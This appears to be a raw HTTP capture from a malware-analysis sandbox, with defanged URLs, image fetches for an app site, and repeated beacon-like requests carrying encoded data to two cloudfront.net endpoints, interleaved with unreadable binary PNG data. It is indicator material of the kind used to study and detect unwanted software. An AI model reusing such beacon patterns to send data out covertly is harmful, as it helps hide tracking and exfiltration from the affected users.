...Z..z..5..R..6.......k..sD.......!..!..........6t...<./J..C...~.s
.6..i..... ..AH.....T..`"..3..c~g}.....cMM>. d.....v.........4....t
[email protected]... .nqnP0^BV....3.1.|.(=...J.l9e....b. .j.1<.xK=.@X
<<< skipped >>>

GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/thumbnails/icon/images/assets/4/f/78x78x4f263f4be4c4396c9078d1874c05b928.png.pagespeed.ic.bmYMZwCv4nYrtahb4sPP.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 2-ps.googleusercontent.com

Connection: Keep-Alive



GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/thumbnails/icon/images/assets/a/6/78x78xa6ae526a0a22dcfc743a66d44a3e09e3.png.pagespeed.ic.T09n9J9zW9Kz7xtQ06O1.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 2-ps.googleusercontent.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Accept-Ranges: bytes

Content-Type: image/png

Date: Wed, 17 Dec 2014 16:04:42 GMT

Expires: Fri, 04 Dec 2015 20:14:54 GMT

ETag: W/"0"

Last-Modified: Thu, 04 Dec 2014 20:14:54 GMT

X-Original-Content-Length: 430688

X-Page-Speed: 123_1_rr

X-XSS-Protection: 1; mode=block

Age: 2583

Cache-Control: max-age=31536000

Content-Length: 429396

Alternate-Protocol: 80:quic,p=0.02
.PNG........IHDR..............x.... .IDATx...i.m[v...c...>..W.e.c..
;[email protected].)[email protected](DJ..P..o..P.._......e.....%.`.D.v..P.......\..=g
....#..X..g.W.....HO..{w..\s..?..?.......iO...3...~..........A..l}.9`.
..8...F....  ....D.. ......N..Al......GP..Ak|.v-.;......o...x.......n.
..o....g.....#. .0....... o.~..H.....Q....P*...X..}..1..6.gb....R.....
.Z.,...a(...8.u.UQ..:b.. 8x.s...........f.=.|..(...;.._....z..]=......
....k..[..c...wi.........W/...rs.v^.j.z............3......P@;.....*.AP
-.;J....Z......}I......NW.=J./........'.>...Y.Wj.]QU.5...9....o9...
.;.P........K...... u}.r..}..5\...=VQE\Q.....qqu0..............p..?1..
..... .x....o..|.. [email protected]:.u..A.|..h.<.G.....@Q7..;..1`(.-..|PT
 b.Z(y.:....Z...k..lF..l.`A. ..:..h..#...c..~..P.pp^.Q2.{....w.C9.w..G
..p.........(.d..;.V.qJ.H:..-^k...1.t....^.:.!..........wGh.......e`..
.....K.A...J.'..u..i.x...~..g.w.....w.l.q..(fK....i..4.S4...".X.@9.[&l
t;...E..-..p3\@..(. .wJ.Y.`.p....P...]/..~....W................y...M.k
[p.6....;....F.......!.q..8c...!...QX.......<A...E..'G2Y)....g. ..c
.I.m....<......Z....:T......A..B..&.g0.C..........7. ...?....|@.g..
.&...w..:.fw.-.}......./..@..\.....gh.~?P.u.%3J<....|.|AL@..}..d...
.....%.....{...........`.....&...Q@N.(... ..X.[..>$..7..#.`.wc..:..
P.7.._c.<z......y.qA....fL:b...:.....Z..s]..avA.1..^.......q.u..!..
I........_y............q..=.}>.[..|..&".......|0..S(.:....z...=....
.Gw...:...<.[.........2..m].X.....4.b.D=d............^.B.v...,..C..
%.f..5.......g...[f...*<1.....x\......W v/V .??...>..4.GD.1k
<<< skipped >>>

GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/thumbnails/icon/images/assets/5/9/78x78x59982d8527c0da41e35817e8fc15c0fc.png.pagespeed.ic.fL2V5qF20YFQXTrbuXvg.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 2-ps.googleusercontent.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Accept-Ranges: bytes

Content-Type: image/png

Date: Wed, 17 Dec 2014 16:04:44 GMT

Expires: Wed, 16 Dec 2015 18:04:04 GMT

ETag: W/"0"

Last-Modified: Tue, 16 Dec 2014 18:04:04 GMT

X-Original-Content-Length: 77988

X-Page-Speed: 123_1_rr

X-XSS-Protection: 1; mode=block

Content-Length: 73176

Age: 2582

Cache-Control: max-age=31536000

Alternate-Protocol: 80:quic,p=0.02
.PNG........IHDR..............x.... .IDATx..}...W}.of....t....$...,..d
Yr.v0.l...CB !$`B $.$./.....q...&6..Y...K....NWu.o...{.ffg.v.H........
.{o......8EZ.8q....'NcI^.zHk'...C.v..3../............'N.8....v..m..N.V
......"-...'N.8q.tA.j.. ...m&....'N.8q.4.....%.1.:8.....'N...5...h....
.'N.8q.Zt...E5.cJ".[N.8q.........^#m....8q.......H.../r....'N.8M-.!.?!
.).A....8q......E.B$w....8q......E.. `.HO.q.. ..v.-....a.P.?....B.....
.{!.s...!.}........u..oA..:...0.qMy.X.....jHI..f.}T.).t-...MY.....2..i
.k)c7~.H.W..:c....u...7...;.yR.I..... ....t(.h.9t3V;.D...M......f3.8~.
...CN1(...m.YE{..1.p.v..........b.)..9.41.55.2.........~.....6.8..I7^.
....U...g.s..Z.2..*).!%....,'..).QR..Fu.J.....p..!.$...........0.{...h
.!i\.....6.qH7.....q.G7....1..Q..~?1..P....0:..h...T.c...v........4s..
......-{.....rx......p...@:.7.=d...b....p. ....9....5.PF.........h..d.
....c>.....Y....L..Ho.6..u`.;...[<.W.....c..zI....2=...p....'NcH
[email protected]. \.G.G........rT...9.=.,..9.....'N..#Q%. i..U......6
q....$..5.S...l...K.6.H.BH......?Imld.7.} .L.)....3..t&.....3.k...)M..
.....L([email protected][.L..DQ.2.....OF...wd.vV.`.Fs...........2..c.
L.J..3.3?F&....Y.C....c..uc.G? b.c.y.Av....u.........#.....D..9p...<
;..d&'.t....s].=6.B.k..;d...^...c....9?.&..rA.......E.4.....).........
....;...?..}q..Q.._w-..^......c.:_.{3..t..T.-h.E.X.}........(..N../.).
W..$.kx..O........w.yU.L.........WA.\..'[email protected]._.~l..Mu...#.g%...
[email protected]....>.i....(...4f...p....e.7AH._..Q...!
.AQ2......",.VX...5.`9c..,.$[. P..=.s..D..(?.w..."0R..e.~.n..h .H.
<<< skipped >>>

GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/thumbnails/icon/images/assets/7/e/7e5817bad781bbc2d2e43b350ccb53db.png.pagespeed.ce.qpuXYWo7ZcBLadujlS_v.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 2-ps.googleusercontent.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Accept-Ranges: bytes

Content-Type: image/png

Date: Wed, 17 Dec 2014 15:59:59 GMT

Expires: Thu, 17 Dec 2015 09:57:19 GMT

ETag: W/"0"

Last-Modified: Wed, 17 Dec 2014 09:57:19 GMT

X-Original-Content-Length: 75260

X-Page-Speed: 123_1_rr

X-XSS-Protection: 1; mode=block

Content-Length: 75260

Age: 2867

Cache-Control: max-age=31536000

Alternate-Protocol: 80:quic,p=0.02
.PNG........IHDR..............x......tEXtSoftware.Adobe ImageReadyq.e&
lt;..%.IDATx.....$Wy.|N.......9(.$.E.. ....H2.F.`[email protected]
P.B ...J...U.<3;;..s.I..?UuN.wN........>.>..........K.....A..
)S.L...2M..e..)S.L..e..)S.L."...)S.L.2E..)S.L.2e..(S.L.2e...P.L.2e..).
.L.2e..)[email protected]..)S...2e..)S.L..e..)S.L."...)S.L.2E..)S.L.2e..(S.L.2e..
.P.L.2e..)..L.2e..)[email protected]..)S...2e..)S.L..e..)S.L..e..)S.L."...)S.L...
..u..)..a.....l....|.x<.L.2E..)S...c..=..~...y....Dx..}$<...2e..
(S....i9,,.p..xL....._......y"<&[O|..4(S.L..e."[email protected].&
.....w[2...v:.c....*b.L."........w..c._v;.r[|L...nk....#....'../[.._v;
-y.-</..$.D..e...P.,L`....R.r...y..l....#.0..\H.[.>...@^.|}I..MK
..n..K.-.(B.L.".......Ha.>...5..k..j..j=...B....,..Q....Y. ....<
.?).....<.. .".....)P.L..e..............K..~..6.N..A....J.#....$`..
...'$..".O..M....).(B.LY...S.=....P../}...C.^C.0}..."...,........*...M
...!......p[v?....`....!.k..kS.........3.~.KO;^F..~...s\...~.....P....
...6..x... _/.m.r.^...X>......t*.-..kF......'.........J,.&F{...=.._
...,.O..LO./.AKWl.E.gl.....O..f...8.?D.. Vo...o.h5...[.......<.|...
.5.....~..^....dK..($=".V.`...j..K.H......8..;[email protected]...{7..
^.s..Q../O~|..1>5\;xb_.l|.6>9\?9...N.h.........Db...`.........i.
.w.;...J.'..s....V....X..e.B........[..H.Z.m~..sf......^..MHR......y@.
 i....t.Xl..@......$..*........1.......j.}...z.1....K<w..Q.x.4....z
.G.k..=.2....O.6L..7-..k..CM..<x........._7>.k.........?..&VSK..
..i].f..yYr......a~....Y...9p.....<..$....}H..$...HAJ.! ....2.;
<<< skipped >>>

GET /hk/R2BrCMjs44SBG-5Ct1qUME3DBk/VVV.appshat.com/thumbnails/icon/images/assets/a/c/ace33f0a1eddf74bbe8d1bfac70deded.png.pagespeed.ce.jVbW8Iy_z54HerZlqj8z.png HTTP/1.1

Accept: */*

Referer: hXXp://VVV.appshat.com/home

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: 2-ps.googleusercontent.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Accept-Ranges: bytes

Content-Type: image/png

Date: Wed, 17 Dec 2014 16:00:00 GMT

Expires: Thu, 17 Dec 2015 09:57:20 GMT

ETag: W/"0"

Last-Modified: Wed, 17 Dec 2014 09:57:20 GMT

X-Original-Content-Length: 172536

X-Page-Speed: 123_1_rr

X-XSS-Protection: 1; mode=block

Content-Length: 172536

Age: 2866

Cache-Control: max-age=31536000

Alternate-Protocol: 80:quic,p=0.02
.PNG........IHDR..............x......tEXtSoftware.Adobe ImageReadyq.e&
lt;....IDATx.....eUu.:.\...........UQ..l.....1...7.}....<ors.....|.
./....M4..&1F_..h...T.D...h....S......9..s.1.\......,8u..g7k....c.....
...[`.3.......-}.../a....c.!.N..9......S.....Z..?}./V...#.>.....6,.
..M.o.W........0.-....T.N.|.....b}.p.gnGq.P....t.\.....F.G4....o..o...
...px..\.................7........./....._..#..k8x.|..%....G>..?..2
>...>.....R.Y......s.........._.........S..o.:>r....]@q..9.=.
..u......S....(.}~.8T>}.._............../~i.d}.|}..}Z,...A....p.r)R
Z3.,.c..Y..qX..|...<.9..;.}..A4..4.o........I.'u..~.H.~}....b.G....
.8.....A..d_W...#~<.sA/.....}...p2.~-^T.O.r3...4..D..q..>.}kT.kj
......g.......;..o......\......<....?3.y....7....A..O.0....`.......
.....8<>....M...`2.1b.=aY,..)..$... .6.....K..,.U...I....H.Db.i_
8..I.r...;..E........?.m.r?.....wt..J..|...]..|...s..;1...........S...
.e.&.\m2.X....\...c.}Bk=..c.Y.? ..K&.o.........X.....9..Z./'.&....$...
....K7:N.S..8Y.'.b..,..K.......SN....1^.>'.|n..^}.......%K.l.S..b6j
'.S.=....[^..5.;2.x...?..........4]..~}j..\(...@.=c:(^.M..s.:.*.'.E^;.
[email protected].....{.g.xM.i*.....n.gA.T..:..IE.n..........mm....e.aa.x.[...4..
.6~...s...>h......b.<w...4R95.)....S$..b.N]X.. p|.....u.C.......
..@}xR0W.&..X....y..^.....D.SR.` =s<....]^.'......W..x.....G.".....
.p.......d.k>.Y.f..:....%[email protected].>?..\..
...\..w...B9gpx.......... ...........#`./.*.....H.."6Io*.....t..$.....
F....(.0....L.C5..I.=.......`.-@..........."....D..k.iHCy]l%r..W..
<<< skipped >>>


GET /t.ashx?e=eFCD8T/coic9XN4SPQf2KYcg35BtfIaeSwBLaB34YiOMDmRWpWBZ0CAvELRpepitEaJZagjaqKc85thZdAhOdczgRcTDDcPjLhu0b45kiT/jJX2BNWr5ZmwkqgaQEwGAs IILilpWF0E8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93CgN3uGHcox9 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: d1vw44q53d84jx.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:32 GMT

X-Cache: Miss from cloudfront

Via: 1.1 42784a7a05b9d149cd97ebe4008edeea.cloudfront.net (CloudFront)

X-Amz-Cf-Id: r5iv1p98gE2qNpkywHzaDmBQJNOoEqnHxSPbABiB90IripGa9kaUUg==
abfgshdgfjhsk....


GET /t.ashx?e=eFCD8T/coic9XN4SPQf2KYcg35BtfIaeSwBLaB34YiOMDmRWpWBZ0CAvELRpepitEaJZagjaqKc85thZdAhOdczgRcTDDcPjLhu0b45kiT/jJX2BNWr5ZmwkqgaQEwGAs IILilpWF0E8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93CgN3uGHcox9 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: d1vw44q53d84jx.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:32 GMT

X-Cache: Miss from cloudfront

Via: 1.1 42784a7a05b9d149cd97ebe4008edeea.cloudfront.net (CloudFront)

X-Amz-Cf-Id: pt_wU1aSdCEYbjmInkBZBomEEwyB6R209tXK0zMrhCc1CLciOcXO6w==
abfgshdgfjhsk....


GET /t.ashx?e=eFCD8T/coic9XN4SPQf2KYcg35BtfIaeSwBLaB34YiOMDmRWpWBZ0CAvELRpepitEaJZagjaqKc85thZdAhOdczgRcTDDcPjLhu0b45kiT/jJX2BNWr5ZmwkqgaQEwGAs IILilpWF0E8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93CgN3uGHcox9 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: d1vw44q53d84jx.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:32 GMT

X-Cache: Miss from cloudfront

Via: 1.1 42784a7a05b9d149cd97ebe4008edeea.cloudfront.net (CloudFront)

X-Amz-Cf-Id: AjVfzNqGGn4B5XDQi3UGP7sioTSzrqLJpfu7sb1vKiLtXbzb2lIPHQ==
abfgshdgfjhskHTTP/1.1 200 OK..Content-Type: text/html; charset=utf-8..
Content-Length: 13..Connection: keep-alive..Cache-Control: private,no-
cache, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 2.0.5072
7..X-Powered-By: ASP.NET..Date: Wed, 17 Dec 2014 16:43:32 GMT..X-Cache
: Miss from cloudfront..Via: 1.1 42784a7a05b9d149cd97ebe4008edeea.clou
dfront.net (CloudFront)..X-Amz-Cf-Id: AjVfzNqGGn4B5XDQi3UGP7sioTSzrqLJ
pfu7sb1vKiLtXbzb2lIPHQ==..abfgshdgfjhsk..


GET /p.ashx?e=j7YMo/n29XMqqDJt46TNcYcg35BtfIaeXAxlnwpFmKiMDmRWpWBZ0CAvELRpepitKPuMdH9xkPH36U7mmpym8v7XVxgq1sWG4u3oGHN86wPQVtpqSKGA7U/Xst3NHAatxLLCQXXwGXzCAftlZERRx7H1GFDNCxEsZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmDIiEjH/COSSg== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:28 GMT

X-Cache: Miss from cloudfront

Via: 1.1 8cfbf4c767639172e44be33e20bf67be.cloudfront.net (CloudFront)

X-Amz-Cf-Id: IgA0q2DMxhrerCOwI1k7mDeCvXL4ZyXgcdmzn6qTK-jYQmL-IMJfUQ==
....


GET /p.ashx?e=hpY1rXLYst7rylc9w7m97SWqRVUESB2PlsuB7whS2F94E7mrr1h80jmXqQawsZSOUA7dl9owwhLO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHCsDyuqA5Ijh lWLUtT/Ob//GZkyVW/8IlY9oQAYkVBSrXIxNf6X/p FstCSC6lz279ASWoaOf2n0JQd5HxgIXeyn41YjZwiWwTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4  HSf3c17G8X1negC9ViA7TIcAcSyXa77rdL7nl59LV1EO6pYTFriim6xxHrqQkiFyYfruM9lClN508MguF8KpepynoFA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:28 GMT

X-Cache: Miss from cloudfront

Via: 1.1 8cfbf4c767639172e44be33e20bf67be.cloudfront.net (CloudFront)

X-Amz-Cf-Id: kkoZcAMpl8l-1NthrVD18QSWriGt2JpdDeeSHEmQ8IZFllIVwuOi-g==
....


GET /p.ashx?e=hpY1rXLYst7rylc9w7m97SWqRVUESB2PlsuB7whS2F94E7mrr1h80jmXqQawsZSOUA7dl9owwhLO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHCsDyuqA5Ijh lWLUtT/Ob//GZkyVW/8IlY9oQAYkVBSrXIxNf6X/p97T8dW3vpmMBQC drCF7eFnfXu8jqisF9cJKC1Reo3n9ppTNOjE5 LPSZuizlKZS4vVGidJQzQbwcX153juosl0uSr4audwd7JcEM/wt3T7JEXnUcAfrYQBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLJdrvut0vueXn0tXUQ7qlhMWuKKbrHEeupCSIXJh u4z2UKU3nTwyC4Xwql6nKegU HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:28 GMT

X-Cache: Miss from cloudfront

Via: 1.1 8cfbf4c767639172e44be33e20bf67be.cloudfront.net (CloudFront)

X-Amz-Cf-Id: N8XWiO-NhEWycWyzkXCzDUNsmE11eF_lc6mywzMM-ShN1BkdS7I68Q==
....


GET /p.ashx?e=hpY1rXLYst7rylc9w7m97SWqRVUESB2PlsuB7whS2F94E7mrr1h80jmXqQawsZSOUA7dl9owwhLO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHCsDyuqA5Ijh lWLUtT/Ob//GZkyVW/8IlY9oQAYkVBSrXIxNf6X/p p3jNnuGZ/QCM8BjoE4r5ojgb6v7cXpPtX8qMQRZgpmz/9fsKQO4 yu6aPorR5b/Qlc4m6AJLdytjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29ozWIN5/5zPOEwmns505UICd56UH 7ayaQkiNLnzIALkbv9q98gu8BVA4sAdD6TRqA= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:28 GMT

X-Cache: Miss from cloudfront

Via: 1.1 8cfbf4c767639172e44be33e20bf67be.cloudfront.net (CloudFront)

X-Amz-Cf-Id: EWHU_d011x5w1DopWp-SLXiM7OBMmCgn0roiASY49ATx2LnjNn5M-Q==
....


GET /p.ashx?e=hpY1rXLYst7rylc9w7m97SWqRVUESB2PlsuB7whS2F94E7mrr1h80jmXqQawsZSOUA7dl9owwhLO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHCsDyuqA5Ijh lWLUtT/Ob//GZkyVW/8IlY9oQAYkVBSrXIxNf6X/p/ZGSjSNMjhLtXDXZHqh b9jyJC8MAmcYofyqeYLIru/skFM nYXmDEL4yGuSrT3L8Da67vNBCQrfeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLIZnY321CP6rQO0RY/50MunDWE/Jh0JbeL0PvHjsxZ9UpBIU06BVWf0= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:36 GMT

X-Cache: Miss from cloudfront

Via: 1.1 8cfbf4c767639172e44be33e20bf67be.cloudfront.net (CloudFront)

X-Amz-Cf-Id: u_24dg6Zo1FrQoaB1htmNETZG26YgP5jZ0ZKcVgxROu0AO9GXthaew==
....


GET /p.ashx?e=hpY1rXLYst7rylc9w7m97SWqRVUESB2PlsuB7whS2F94E7mrr1h80jmXqQawsZSOUA7dl9owwhLO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHCsDyuqA5Ijh lWLUtT/Ob//GZkyVW/8IlY9oQAYkVBSrXIxNf6X/p9DL5O8sflI1 03aTMX7laps IILilpWF3u3FmdwwefTpJwm7wLvIGql7 MWoTgv1cPg3JQuiDoocCy UGDO9OHqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1Jru9GZ/KDSdRdfLRZLbVEh5X9csBHQgwJLdU5190TUYE8xhGIB/kWqhM X1Brutpw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:28 GMT

X-Cache: Miss from cloudfront

Via: 1.1 8cfbf4c767639172e44be33e20bf67be.cloudfront.net (CloudFront)

X-Amz-Cf-Id: ndd2_cdh8yG60UNBjZVmKDcG0BS9nEKS-jRIQScK8R3pX8-Ll9ghow==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Wed, 17 Dec 2014 16:43:28 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 8cfbf4c767639172e44be33e20bf67
be.cloudfront.net (CloudFront)..X-Amz-Cf-Id: gH2z8NPv2-AIgb4ba3W3XoIao
EctKZsLQamp6iWmZAauesJwgYVRgw==......


GET /p.ashx?e=hpY1rXLYst7rylc9w7m97SWqRVUESB2PlsuB7whS2F94E7mrr1h80jmXqQawsZSOUA7dl9owwhLO6rntat/XxwJS3p9Bt4VpeyYAoD3cfH3bhh/cLITUHCsDyuqA5Ijh lWLUtT/Ob//GZkyVW/8IlY9oQAYkVBSrXIxNf6X/p9IxKFhhAIX38mxw368usKjpjurIyC9QLD3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhyyGZ2N9tQj q0DtEWP dDLpw1hPyYdCW3i9D7x47MWfVKQSFNOgVVn9 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:29 GMT

X-Cache: Miss from cloudfront

Via: 1.1 8cfbf4c767639172e44be33e20bf67be.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 5Gb1tiwPML4njYFvztrsMpnpOofKwlPaukrPKl90JpjycBP3j0JEsg==
....


GET /p.ashx?e=Q1fGffVv26 HIN QbXyGno 6kPfIRdsbjA5kVqVgWdD8SaNRCRsmETynsL3GEE9TaWd12TXnwYBA7RFj/nQy6cNYT8mHQlt4vQ 8eOzFn1Qg4 TVw0sddcSCFqUzxEuKSsXeh8CpENYmY4DrPDCE5A3esz88wWTIYCpHZc9ZUaFauHVJPRpz7BQC drCF7eFNKi8z8Pj2nJ/Of1VTlRDPh0Xkjmrfrln7YYdA 6NHJnMOf/uUofLPn8XP 2KKeMU66BvNwpbNqIcyxjb7yeqZLHjDTPh9NKhBoIe Q7libfUyvMFk8ry6fMl7CyXcaP2Up7XwfOPtsDfsjJGkYd1uXeUpSjjYG888bFRwZXWy318jND4gr dsPQLzyLMtOuD98VNsw1snm1qh7b9qBNFiATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4  HSf3c17G8X1negC9ViA7TIcAcSyXa77rdL7nl59LV1EO6pYTFriim6xxHrqQkiFyYfruM9lClN508MguF8KpepynoFA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:29 GMT

X-Cache: Miss from cloudfront

Via: 1.1 8cfbf4c767639172e44be33e20bf67be.cloudfront.net (CloudFront)

X-Amz-Cf-Id: eziBkkCLBsBxm6YCPqaoslw-gTCFfwmAWlK4Bsk0xpBOaLr_Yd_EQQ==
....


GET /p.ashx?e=Q1fGffVv26 HIN QbXyGno 6kPfIRdsbjA5kVqVgWdD8SaNRCRsmETynsL3GEE9TaWd12TXnwYBA7RFj/nQy6cNYT8mHQlt4vQ 8eOzFn1Qg4 TVw0sddcSCFqUzxEuKSsXeh8CpENYmY4DrPDCE5A3esz88wWTIYCpHZc9ZUaFXs9sbgOmK8XSpt9GSHWXQP lJ0sv/YOYo/Vto7IfmWOHBo7F03Fys4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlzuq57Wrf18cCUt6fQbeFaXsmAKA93Hx924Yf3CyE1ByamNn1kzRS8w== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net




HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 17 Dec 2014 16:43:37 GMT

X-Cache: Miss from cloudfront

Via: 1.1 8cfbf4c767639172e44be33e20bf67be.cloudfront.net (CloudFront)

X-Amz-Cf-Id: gV4144RnIYLGRPGYRU363CxfheCi8let7Tv9cU3kRPBQyNXV_Rs8Pg==
....


